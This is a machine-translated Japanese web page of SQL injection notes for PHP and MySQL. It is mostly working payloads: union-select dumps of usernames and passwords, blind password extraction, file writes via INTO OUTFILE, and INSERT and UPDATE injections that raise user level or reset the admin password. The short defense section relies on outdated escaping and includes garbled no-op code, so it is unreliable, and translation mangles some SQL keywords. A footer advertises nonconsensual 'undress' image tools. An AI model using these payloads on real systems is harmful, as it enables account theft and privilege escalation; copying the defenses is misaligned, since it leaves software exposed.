検索
ホームページphp教程php手册PHPのSQLインジェクション実装(テストコードは安全で良好)

PHPのSQLインジェクション実装(テストコードは安全で良好)

Jun 13, 2016 pm 12:11 PM
phpsqlコード安全性成し遂げる注射テスト声明使用

SQL インジェクションの焦点は、SQL ステートメントを構築することです。SQL
ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できます。勉強した後はメモを書き、いつでも使えるようにしています。次の内容を読んで、
SQL の基本原則を理解していただければ幸いです。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルクエリ:
http://127.0.0.1/injection/user.php?username=angel' および LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' および LEFT(password,1)='m

Union ユニオン ステートメント:
http://127.0.0.1/injection /show.php?id=1' Union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/ *

ファイルをエクスポートします:
http://127.0.0.1/injection/user.php?username=angel' を出力ファイル 'c:/file.txt
http://127.0.0.1 /injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' Union select 1,username,passwordユーザーから出力ファイル 'c:/user.txt へ

INSERT ステートメント:
INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', ' $password', '$homepage', '1');
構築されたホームページの値は次のとおりです: http://4ngel.net', '3')#
SQL ステートメントは次のようになります: INSERT INTO `user` ( ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1'); 🎜 >UPDATE ステートメント: 私はこのようなものが好きです
最初にこの SQL 文を理解してください
UPDATE ユーザー SET パスワード='MD5($password)', ホームページ='$homepage' WHERE id='$id'
この SQL を次の形式に変更してインジェクション
1 を実現すると、ホームページの値を
http://4ngel.net'、userlevel='3
に変更すると、SQL ステートメントは
になります。 UPDATE user SET password='mypass'、homepage='http://4ngel.net'、userlevel='3' WHERE id='$id'
userlevel はユーザー レベルです
2: パスワード値を変更します
mypass)' WHERE username='admin'#
その後、SQL ステートメントは
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)'、homepage='$ になります。ホームページ' WHERE id ='$id'
3: ID 値を
' または username='admin'
に変更すると、SQL ステートメントは
UPDATE user SET password='MD5($password )'、ホームページ= '$homepage' WHERE id='' OR username='admin'

===高度な部分===
一般的に使用される MySQL 組み込み関数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
......
関数アプリケーション
記事を更新 SET title=DATABASE() WHERE id=1
http://127.0.0.1/注入/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) は angel、10 進数 http://127.0.0.1/injection/ user.php?userid=1 およびpassword=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 および LEFT(password, 1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

決定データ構造内のフィールドの数とタイプ
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1
http://127.0.0.1/injection /show.php?id=-1 Union select char(97 ),char(97),char(97)

データテーブル名を推測します
http://127.0.0.1/injection/show .php?id=-1 Union select 1,1,1 from members

ユーザー名とパスワードを取得するためのクロステーブルクエリ
http://127.0.0.1/ymdown/show.php?id= 10000 Union select 1,username,1,password,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

その他
#最初のパスワードを確認
http://127.0.0.1/ymdown/show.php?id=10 Union select 1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 ,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===インジェクション防止===
サーバー側
magic_quotes_gpc はオンに設定されます
display_errors はオフに設定されます
エンコーディング アスペクト
$keywords = addlashes($keywords);
$keywords = str_replace(" _","_",$keywords);
$keywords = str_replace("%","%",$keywords);
数値型
intval() を使用して
文字列型を置き換えます
SQL ステートメントのパラメーターに一重引用符を追加します
インジェクションを防ぐために使用される次のコード
if (get_magic_quotes_gpc()) {
//....
}else{
$ str = mysql_real_escape_string($str);
$keywords = str_replace( "_","_",$keywords);
$keywords = str_replace("%","%",$keywords); >}
便利な関数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考記事:
http://www.4ngel.net/article/36 .htm (MySQL による SQL インジェクション) 中国語
http://www.phpe.net/mysql_manual/06-4.html (MYSQL ステートメントのリファレンス)

声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

SublimeText3 英語版

SublimeText3 英語版

推奨: Win バージョン、コードプロンプトをサポート!

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター

PhpStorm Mac バージョン

PhpStorm Mac バージョン

最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール

WebStorm Mac版

WebStorm Mac版

便利なJavaScript開発ツール

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール